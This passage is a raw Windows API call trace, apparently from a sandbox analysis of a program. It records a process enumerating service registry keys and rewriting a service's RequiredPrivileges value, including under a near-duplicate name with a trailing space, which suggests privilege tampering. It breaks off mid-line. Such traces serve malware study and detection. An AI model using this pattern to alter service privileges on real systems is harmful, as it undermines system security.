RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.339] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.339] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.340] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.340] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.340] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.340] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.342] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0223.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0223.343] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0223.344] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0223.344] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.344] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0223.344] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0223.344] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0223.344] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0223.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0223.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0223.344] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0223.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0223.345] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.346] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.347] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0223.348] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0223.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 